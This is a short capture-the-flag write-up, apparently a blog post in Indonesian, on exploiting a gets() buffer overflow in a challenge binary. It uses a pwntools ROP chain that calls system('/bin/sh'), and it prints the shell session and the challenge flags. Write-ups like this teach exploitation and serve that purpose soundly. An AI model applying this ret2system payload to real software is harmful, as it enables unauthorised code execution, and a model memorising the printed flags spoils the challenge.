Buffer Overflow to ROP Chain
2026-09-12 · by Fakhrity Hikmawan

//Recon
Binary-nya stripped, 64-bit, dengan NX enabled tapi tanpa PIE dan tanpa canary. Artinya kita tidak bisa inject shellcode, tapi alamat binary statis — kandidat sempurna untuk ROP.
Fungsi vuln() membaca 512 byte ke buffer 64 byte dengan gets(). Overflow klasik.
$ checksec ./vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)//Finding the offset
Dengan cyclic pattern dari pwntools, kita temukan offset ke return address di 72 byte. Setelah itu, kita butuh gadget untuk mengisi rdi dengan alamat '/bin/sh'.
from pwn import *
elf = ELF("./vuln")
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0] # stack alignment
payload = flat(
b"A" * 72,
pop_rdi,
next(elf.search(b"/bin/sh")),
ret,
elf.symbols["system"],
)//Exploit
Gadget 'ret' ekstra diperlukan untuk alignment stack sebelum memanggil system() — tanpa itu, movaps di dalam libc crash. Setelah dikirim, shell langsung terbuka dan flag bisa dibaca.
$ python3 solve.py
[+] Opening connection to pwnshop.htb on port 1337: Done
[*] Switching to interactive mode
$ cat flag.txt
HTB{r0p_ch41ns_4r3_just_l3go}flag{thanks_for_reading}
Questions or a cleaner solution? Reach out — I update writeups when I learn a better way.